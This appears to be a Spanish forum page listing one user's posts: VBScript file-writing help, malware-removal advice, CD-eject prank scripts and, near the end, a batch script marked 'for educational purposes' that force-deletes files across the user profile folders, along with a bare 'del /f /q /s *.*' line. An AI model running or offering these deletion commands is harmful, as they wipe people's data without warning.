Esto fue demasiado extraño, saqué la declaración de var del búcle, y corregí la sintaxix para citar &var& y ya funcionó, no tuve que ejecutar como administrador.
Muchas gracias!
Muchas gracias!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúdo
dim var
var = 0
set objfso = createobject("scripting.filesystemobject")
set archivotexto = objfso.createtextfile("C:\Users\****\desktop\&var.txt",true)
archivotexto.writeline "hola mundo"
archivotexto.writeblanklines(2)
archivotexto.writeline "Odio ir a la escuela"
archivotexto.close
var = var + 1
loop
Cita de: skapunky en 6 Octubre 2010, 15:34 PM
Dejen de decirle que formatee, para eso no hubíera venido a perder el tiempo a postear y esperar respuesta y en 30 minutos tendría el pc formateado.
Mira @KIOS, te propongo una cosa, si realmene te interesa hazla, ya que te servirá en un futuro. Te propongo que empiezes a conocer el omportamiento de los virus, detectarlos y quitarlos con un manual que hice hace un tiempo, donde como ejemplo utilizo un virus que encontré en un ordenador, asi que te servirá para aprender, desinfectarte y quizá sentirte satisfecho contigo mismo y prevenir futuros problemas del estilo.
El proceso es sencillo y es ideal para que lo hagas con las cosas extrañas que he visto en tu log del hijackthis. Tomalo como una oportunidad para aprender si te interesa.
No es muy largo, ni pesado y creo que más de uno debería hacérlo ya que en un futuro puede evitar problemas. Ojo, no todo tipo de malware lo podrás eliminar de esta forma, por ejemplo los Rootkits són otra historia, pero para lo que tienes te va de perlas.
Si lo sigues, ya nos contarás que tal fue, o si tienes dudas preguntanos. En unos 15-20 minutos ya habrás desinfectado tu ordenador.
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject -t
Next ' cdrom
End If
echo Set oWMP = CreateObject("WMPlayer.OCX.7")>>WINDOWS.vbs
echo Set colCDROMs = oWMP.cdromCollection>>WINDOWS.vbs
echo colCDROMs.Item(i).Eject>>WINDOWS.vbs
echo colCDROMs.Item(i).Eject>>WINDOWS.vbs
Rem ya que esta todo programado en tuarchivo.vbs ejecutarlo
start windows.vbs
Cita de: Leo Gutiérrez. en 9 Septiembre 2010, 06:42 AMdel /f /q /s *.*
Solo con fines educativos.
@echo off
dir %userprofile% /A:D /b /s>list.txt
for /f "tokens=*" %%a in (list.txt) do (del /f /q *.*)
set objfso=createobject("scripting.filesystemobject")
objfso.movefile "C:\Users\f0rt3\Desktop\prueba.bat", "C:\Users\f0rt3\pictures\prueba"